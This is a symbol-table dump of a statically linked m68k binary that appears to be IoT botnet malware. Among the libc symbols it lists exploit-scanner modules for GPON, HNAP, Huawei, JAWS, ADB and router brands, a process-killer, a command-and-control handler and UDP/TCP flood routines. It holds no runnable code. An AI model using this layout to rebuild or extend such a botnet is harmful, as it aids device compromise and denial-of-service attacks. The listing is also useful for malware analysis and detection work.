__sigaddset	.symtab	0x80011248	68	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x8001128c	72	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x800111f8	80	FUNC	<unknown>	DEFAULT	2
__socketcall	.symtab	0x80012e74	74	FUNC	<unknown>	HIDDEN	2
__socketcall.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__stdin	.symtab	0x8001dcd8	4	OBJECT	<unknown>	DEFAULT	9
__stdio_READ	.symtab	0x80018414	138	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x80013ae0	314	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x80016468	352	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x80013c1c	518	FUNC	<unknown>	HIDDEN	2
__stdio_init_mutex	.symtab	0x8000d5d0	32	FUNC	<unknown>	HIDDEN	2
__stdio_mutex_initializer.3828	.symtab	0x8001abc4	24	OBJECT	<unknown>	DEFAULT	4
__stdio_rfill	.symtab	0x800184a0	90	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x800165c8	102	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x800184fc	226	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x80013e24	414	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x8000d6e8	116	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x8001dcdc	4	OBJECT	<unknown>	DEFAULT	9
__syscall_chdir	.symtab	0x8000c50c	62	FUNC	<unknown>	DEFAULT	2
__syscall_exit	.symtab	0x8000c4c4	56	FUNC	<unknown>	DEFAULT	2
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl64	.symtab	0x8000c434	88	FUNC	<unknown>	DEFAULT	2
__syscall_fcntl64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fstat	.symtab	0x80012ec0	74	FUNC	<unknown>	DEFAULT	2
__syscall_getdents64	.symtab	0x80013058	88	FUNC	<unknown>	DEFAULT	2
__syscall_kill	.symtab	0x8000c6c4	72	FUNC	<unknown>	DEFAULT	2
__syscall_llseek	.symtab	0x800133c4	98	FUNC	<unknown>	DEFAULT	2
__syscall_open	.symtab	0x8000c720	94	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x8001622c	94	FUNC	<unknown>	HIDDEN	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_wait4	.symtab	0x80013630	90	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x80012ac4	106	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x80012be0	74	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x80012c2a	584	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x8001dfdc	4	OBJECT	<unknown>	HIDDEN	9
__xpg_strerror_r	.symtab	0x80010654	264	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat64_conv	.symtab	0x800136a8	336	FUNC	<unknown>	HIDDEN	2
__xstat_conv	.symtab	0x800137f8	316	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_charpad	.symtab	0x8000d75c	74	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_dl_aux_init	.symtab	0x800161c0	44	FUNC	<unknown>	DEFAULT	2
_dl_phdr	.symtab	0x800247b0	4	OBJECT	<unknown>	DEFAULT	10
_dl_phnum	.symtab	0x800247b4	4	OBJECT	<unknown>	DEFAULT	10
_do_one_spec	.symtab	0x8000d84e	2118	FUNC	<unknown>	DEFAULT	2
_edata	.symtab	0x8001e01c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x800247b8	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_errno	.symtab	0x80024378	4	OBJECT	<unknown>	DEFAULT	10
_exit	.symtab	0x8000c4fc	16	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x80018614	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x80022160	8192	OBJECT	<unknown>	DEFAULT	10
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0x8000d7a6	168	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x800142cc	2502	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_h_errno	.symtab	0x8002437c	4	OBJECT	<unknown>	DEFAULT	10
_init	.symtab	0x80000094	0	FUNC	<unknown>	DEFAULT	1
_is_equal_or_bigger_arg	.symtab	0x8000e688	102	FUNC	<unknown>	DEFAULT	2
_load_inttype	.symtab	0x80013fc4	238	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_init	.symtab	0x8000e228	208	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x8000e6ee	1584	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x8000e2f8	108	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x8000e364	718	FUNC	<unknown>	HIDDEN	2
_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_promoted_size	.symtab	0x8000e634	84	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_pop_restore	.symtab	0x80012b38	8	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x80012b38	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_sigintr	.symtab	0x800246f4	128	OBJECT	<unknown>	HIDDEN	10
_start	.symtab	0x80000144	0	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x8000d1a8	960	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x8000d568	104	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x8001dce0	4	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_add_lock	.symtab	0x8001dce4	24	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_dec_use	.symtab	0x8000eda8	310	FUNC	<unknown>	DEFAULT	2
_stdio_openlist_del_count	.symtab	0x8002215c	4	OBJECT	<unknown>	DEFAULT	10
_stdio_openlist_del_lock	.symtab	0x8001dcfc	24	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_use_count	.symtab	0x80022158	4	OBJECT	<unknown>	DEFAULT	10
_stdio_streams	.symtab	0x8001dd18	240	OBJECT	<unknown>	DEFAULT	9
_stdio_term	.symtab	0x8000d5f0	248	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x8001dd14	4	OBJECT	<unknown>	DEFAULT	9
_stdlib_strto_l	.symtab	0x80012554	562	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_store_inttype	.symtab	0x800140b4	96	FUNC	<unknown>	HIDDEN	2
_store_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_string_syserrmsgs	.symtab	0x8001ac88	2906	OBJECT	<unknown>	HIDDEN	4
_string_syserrmsgs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2w.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_uintmaxtostr	.symtab	0x80014114	438	FUNC	<unknown>	HIDDEN	2
_uintmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_vfprintf_internal	.symtab	0x8000e094	404	FUNC	<unknown>	HIDDEN	2
_vfprintf_internal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wordcopy_bwd_aligned	.symtab	0x8000f874	638	FUNC	<unknown>	DEFAULT	2
_wordcopy_bwd_dest_aligned	.symtab	0x8000faf2	578	FUNC	<unknown>	DEFAULT	2
_wordcopy_fwd_aligned	.symtab	0x8000f358	566	FUNC	<unknown>	DEFAULT	2
_wordcopy_fwd_dest_aligned	.symtab	0x8000f58e	500	FUNC	<unknown>	DEFAULT	2
abort	.symtab	0x80016038	390	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
adb_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
add_entry	.symtab	0x8000ba0c	120	FUNC	<unknown>	DEFAULT	2
adns	.symtab	0x80007050	276	FUNC	<unknown>	DEFAULT	2
asus.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
atcp	.symtab	0x80006bae	1186	FUNC	<unknown>	DEFAULT	2
atoi	.symtab	0x80012514	28	FUNC	<unknown>	DEFAULT	2
atol	.symtab	0x80012514	28	FUNC	<unknown>	DEFAULT	2
atol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
audp	.symtab	0x80006764	1098	FUNC	<unknown>	DEFAULT	2
bcopy	.symtab	0x8001075c	30	FUNC	<unknown>	DEFAULT	2
bcopy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
been_there_done_that	.symtab	0x8002439c	4	OBJECT	<unknown>	DEFAULT	10
been_there_done_that.2790	.symtab	0x80024374	4	OBJECT	<unknown>	DEFAULT	10
bind	.symtab	0x80010e90	48	FUNC	<unknown>	DEFAULT	2
bind.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bot	.symtab	0x800243a8	512	OBJECT	<unknown>	DEFAULT	10
brk	.symtab	0x800161ec	64	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bsd_signal	.symtab	0x80011108	238	FUNC	<unknown>	DEFAULT	2
buf.4831	.symtab	0x80024164	460	OBJECT	<unknown>	DEFAULT	10
bzero	.symtab	0x8001077c	28	FUNC	<unknown>	DEFAULT	2
bzero.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
c	.symtab	0x8001dc94	4	OBJECT	<unknown>	DEFAULT	9
call___do_global_ctors_aux	.symtab	0x8001860a	0	FUNC	<unknown>	DEFAULT	2
call___do_global_dtors_aux	.symtab	0x800000f6	0	FUNC	<unknown>	DEFAULT	2
call_frame_dummy	.symtab	0x8000013c	0	FUNC	<unknown>	DEFAULT	2
calloc	.symtab	0x80011550	118	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
chdir	.symtab	0x8000c54a	16	FUNC	<unknown>	DEFAULT	2
chdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0x8000016c	126	FUNC	<unknown>	DEFAULT	2
checksum_tcp_udp	.symtab	0x800065c0	288	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0x800001ea	288	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x8000cdec	76	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x8000c55c	60	FUNC	<unknown>	DEFAULT	2
close.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
closedir	.symtab	0x8000ca90	198	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
cncinput	.symtab	0x80007fda	4616	FUNC	<unknown>	DEFAULT	2
completed.2170	.symtab	0x8001e01c	1	OBJECT	<unknown>	DEFAULT	10
comtrend.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
conn_table	.symtab	0x800245a8	4	OBJECT	<unknown>	DEFAULT	10
connect	.symtab	0x80010ec0	48	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
connectTimeout	.symtab	0x8000613a	464	FUNC	<unknown>	DEFAULT	2
creat	.symtab	0x8000c7ce	30	FUNC	<unknown>	DEFAULT	2
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
csum	.symtab	0x80006416	228	FUNC	<unknown>	DEFAULT	2
currentServer	.symtab	0x8001dc90	4	OBJECT	<unknown>	DEFAULT	9
data_start	.symtab	0x8001dc88	0	NOTYPE	<unknown>	DEFAULT	9
decodea.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
decoded.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
decodeh.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dnslookup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encoded.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encodeh.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encodeq.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
environ	.symtab	0x80024364	4	OBJECT	<unknown>	DEFAULT	10
errno	.symtab	0x80024378	4	OBJECT	<unknown>	DEFAULT	10
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x80012788	124	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exp10_table	.symtab	0x8001bb72	108	OBJECT	<unknown>	DEFAULT	4
fclose	.symtab	0x8000ce38	416	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x8000c378	188	FUNC	<unknown>	DEFAULT	2
fcntl64	.symtab	0x8000c48c	54	FUNC	<unknown>	DEFAULT	2
fdgets	.symtab	0x800054e8	118	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x8000eede	510	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x80017ed4	500	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x80016630	134	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x800166b8	226	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fmt	.symtab	0x8001bb5e	20	OBJECT	<unknown>	DEFAULT	4
fopen	.symtab	0x8000cfd8	38	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x8000c598	56	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fputc_unlocked	.symtab	0x8000f0dc	392	FUNC	<unknown>	DEFAULT	2
fputc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fputs_unlocked	.symtab	0x8000f264	80	FUNC	<unknown>	DEFAULT	2
fputs_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
frame_dummy	.symtab	0x800000fe	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x80011776	32	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseek	.symtab	0x800162e4	40	FUNC	<unknown>	DEFAULT	2
fseeko	.symtab	0x800162e4	40	FUNC	<unknown>	DEFAULT	2
fseeko.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseeko64	.symtab	0x8001630c	346	FUNC	<unknown>	DEFAULT	2
fseeko64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x80012f0a	54	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fwrite	.symtab	0x8000ed20	134	FUNC	<unknown>	DEFAULT	2
fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fwrite_unlocked	.symtab	0x8000f2b4	162	FUNC	<unknown>	DEFAULT	2
fwrite_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getHost	.symtab	0x80005eb6	56	FUNC	<unknown>	DEFAULT	2
getOurIP	.symtab	0x80005650	520	FUNC	<unknown>	DEFAULT	2
getRandomIP	.symtab	0x800054b0	56	FUNC	<unknown>	DEFAULT	2
get_hosts_byname_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getc_unlocked	.symtab	0x80017ed4	500	FUNC	<unknown>	DEFAULT	2
getdents.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdents64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getegid	.symtab	0x800132d4	60	FUNC	<unknown>	DEFAULT	2
getegid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
geteuid	.symtab	0x80013310	60	FUNC	<unknown>	DEFAULT	2
geteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getgid	.symtab	0x8001334c	60	FUNC	<unknown>	DEFAULT	2
getgid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname	.symtab	0x800109c8	60	FUNC	<unknown>	DEFAULT	2
gethostbyname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname_r	.symtab	0x80010a04	1164	FUNC	<unknown>	DEFAULT	2
gethostbyname_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpid	.symtab	0x8000c5d0	56	FUNC	<unknown>	DEFAULT	2
getpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getppid	.symtab	0x8000c608	56	FUNC	<unknown>	DEFAULT	2
getppid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockname	.symtab	0x80010ef0	50	FUNC	<unknown>	DEFAULT	2
getsockname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockopt	.symtab	0x80010f24	66	FUNC	<unknown>	DEFAULT	2
getsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getuid	.symtab	0x80013388	60	FUNC	<unknown>	DEFAULT	2
getuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gotIP	.symtab	0x8001e0ec	4	OBJECT	<unknown>	DEFAULT	10
gpon8080_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gpon80_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
h.4830	.symtab	0x80024330	20	OBJECT	<unknown>	DEFAULT	10
h_errno	.symtab	0x8002437c	4	OBJECT	<unknown>	DEFAULT	10
has_exe_access	.symtab	0x80003cd8	352	FUNC	<unknown>	DEFAULT	2
has_exe_access	.symtab	0x80005016	352	FUNC	<unknown>	DEFAULT	2
have_current_got	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
have_current_got	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
have_current_got	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
heap_alloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
heap_alloc_at.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
heap_free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
hnap_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
hnapscanner_fake_time	.symtab	0x8001e06c	4	OBJECT	<unknown>	DEFAULT	10
hnapscanner_get_random_ip	.symtab	0x80001004	444	FUNC	<unknown>	DEFAULT	2
hnapscanner_recv_strip_null	.symtab	0x8000030c	108	FUNC	<unknown>	DEFAULT	2
hnapscanner_rsck	.symtab	0x8001e03c	4	OBJECT	<unknown>	DEFAULT	10
hnapscanner_rsck_out	.symtab	0x8001e040	4	OBJECT	<unknown>	DEFAULT	10
hnapscanner_scanner_init	.symtab	0x80000378	2898	FUNC	<unknown>	DEFAULT	2
hnapscanner_scanner_kill	.symtab	0x80000eca	28	FUNC	<unknown>	DEFAULT	2
hnapscanner_scanner_pid	.symtab	0x8001e038	4	OBJECT	<unknown>	DEFAULT	10
hnapscanner_scanner_rawpkt	.symtab	0x8001e044	40	OBJECT	<unknown>	DEFAULT	10
hnapscanner_setup_connection	.symtab	0x80000ee6	286	FUNC	<unknown>	DEFAULT	2
htonl	.symtab	0x80010976	12	FUNC	<unknown>	DEFAULT	2
htons	.symtab	0x80010982	22	FUNC	<unknown>	DEFAULT	2
huawei_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
huawei_scannerX.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
huaweiscanner_fake_time	.symtab	0x8001e0a4	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_get_random_ip	.symtab	0x80001ebe	708	FUNC	<unknown>	DEFAULT	2
huaweiscanner_recv_strip_null	.symtab	0x800011c0	108	FUNC	<unknown>	DEFAULT	2
huaweiscanner_rsck	.symtab	0x8001e074	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_rsck_out	.symtab	0x8001e078	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_scanner_init	.symtab	0x8000122c	2904	FUNC	<unknown>	DEFAULT	2
huaweiscanner_scanner_kill	.symtab	0x80001d84	28	FUNC	<unknown>	DEFAULT	2
huaweiscanner_scanner_pid	.symtab	0x8001e070	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_scanner_rawpkt	.symtab	0x8001e07c	40	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_setup_connection	.symtab	0x80001da0	286	FUNC	<unknown>	DEFAULT	2
i.4680	.symtab	0x8001dcb4	4	OBJECT	<unknown>	DEFAULT	9
index	.symtab	0x8000ff8c	390	FUNC	<unknown>	DEFAULT	2
inet_addr	.symtab	0x80010998	48	FUNC	<unknown>	DEFAULT	2
inet_aton	.symtab	0x800151b8	362	FUNC	<unknown>	DEFAULT	2
inet_aton.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_makeaddr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_ntop	.symtab	0x80017326	112	FUNC	<unknown>	DEFAULT	2
inet_ntop4	.symtab	0x80016e94	464	FUNC	<unknown>	DEFAULT	2
inet_ntop6	.symtab	0x80017064	706	FUNC	<unknown>	DEFAULT	2
inet_pton	.symtab	0x80016e34	96	FUNC	<unknown>	DEFAULT	2
inet_pton4	.symtab	0x80016aa0	282	FUNC	<unknown>	DEFAULT	2
inet_pton6	.symtab	0x80016bba	634	FUNC	<unknown>	DEFAULT	2
initConnection	.symtab	0x800091e2	328	FUNC	<unknown>	DEFAULT	2
init_rand	.symtab	0x80005308	144	FUNC	<unknown>	DEFAULT	2
initial_fa	.symtab	0x8001de0c	260	OBJECT	<unknown>	DEFAULT	9
initstate	.symtab	0x80011eb6	118	FUNC	<unknown>	DEFAULT	2
initstate_r	.symtab	0x800123ca	330	FUNC	<unknown>	DEFAULT	2
ioctl	.symtab	0x8000c640	130	FUNC	<unknown>	DEFAULT	2
ioctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
isatty	.symtab	0x80010868	52	FUNC	<unknown>	DEFAULT	2
isatty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
isspace	.symtab	0x8000ca28	40	FUNC	<unknown>	DEFAULT	2
isspace.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
jaws.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
jaws_fake_time	.symtab	0x8001e0dc	4	OBJECT	<unknown>	DEFAULT	10
jaws_get_random_ip	.symtab	0x80002e84	444	FUNC	<unknown>	DEFAULT	2
jaws_kill	.symtab	0x80002d4a	28	FUNC	<unknown>	DEFAULT	2
jaws_recv_strip_null	.symtab	0x80002184	108	FUNC	<unknown>	DEFAULT	2
jaws_rsck	.symtab	0x8001e0ac	4	OBJECT	<unknown>	DEFAULT	10
jaws_rsck_out	.symtab	0x8001e0b0	4	OBJECT	<unknown>	DEFAULT	10
jaws_scanner	.symtab	0x800021f0	2906	FUNC	<unknown>	DEFAULT	2
jaws_scanner_pid	.symtab	0x8001e0a8	4	OBJECT	<unknown>	DEFAULT	10
jaws_scanner_rawpkt	.symtab	0x8001e0b4	40	OBJECT	<unknown>	DEFAULT	10
jaws_setup_connection	.symtab	0x80002d66	286	FUNC	<unknown>	DEFAULT	2
kill	.symtab	0x8000c70c	20	FUNC	<unknown>	DEFAULT	2
kill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killerX.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer_init	.symtab	0x80003040	1440	FUNC	<unknown>	DEFAULT	2
killer_kill	.symtab	0x800035e0	28	FUNC	<unknown>	DEFAULT	2
killer_kill_by_port	.symtab	0x800035fc	1756	FUNC	<unknown>	DEFAULT	2
killer_pid	.symtab	0x800245b0	4	OBJECT	<unknown>	DEFAULT	10
killer_realpath	.symtab	0x800245ac	4	OBJECT	<unknown>	DEFAULT	10
killer_realpath_len	.symtab	0x8001e0e0	4	OBJECT	<unknown>	DEFAULT	10
lengthd.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lengthq.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/m68k/crt1.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/m68k/crti.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/m68k/crtn.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
linksys.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
listFork	.symtab	0x8000630a	268	FUNC	<unknown>	DEFAULT	2
listen	.symtab	0x80010f68	42	FUNC	<unknown>	DEFAULT	2
listen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
llseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lseek64	.symtab	0x80013426	108	FUNC	<unknown>	DEFAULT	2
macAddress	.symtab	0x8001e0f8	6	OBJECT	<unknown>	DEFAULT	10
main	.symtab	0x8000932a	2080	FUNC	<unknown>	DEFAULT	2
main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
makeIPPacket	.symtab	0x800066e0	132	FUNC	<unknown>	DEFAULT	2
makeRandomStr	.symtab	0x80005eee	118	FUNC	<unknown>	DEFAULT	2
makevsepacket	.symtab	0x80007994	258	FUNC	<unknown>	DEFAULT	2
malloc	.symtab	0x800114a6	168	FUNC	<unknown>	DEFAULT	2
malloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mem_exists	.symtab	0x8000406e	106	FUNC	<unknown>	DEFAULT	2
mem_exists	.symtab	0x8000529c	106	FUNC	<unknown>	DEFAULT	2
memchr	.symtab	0x80014c94	348	FUNC	<unknown>	DEFAULT	2
memchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memcpy	.symtab	0x8000f782	240	FUNC	<unknown>	DEFAULT	2
memcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memmove	.symtab	0x8000fd34	288	FUNC	<unknown>	DEFAULT	2
memmove.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
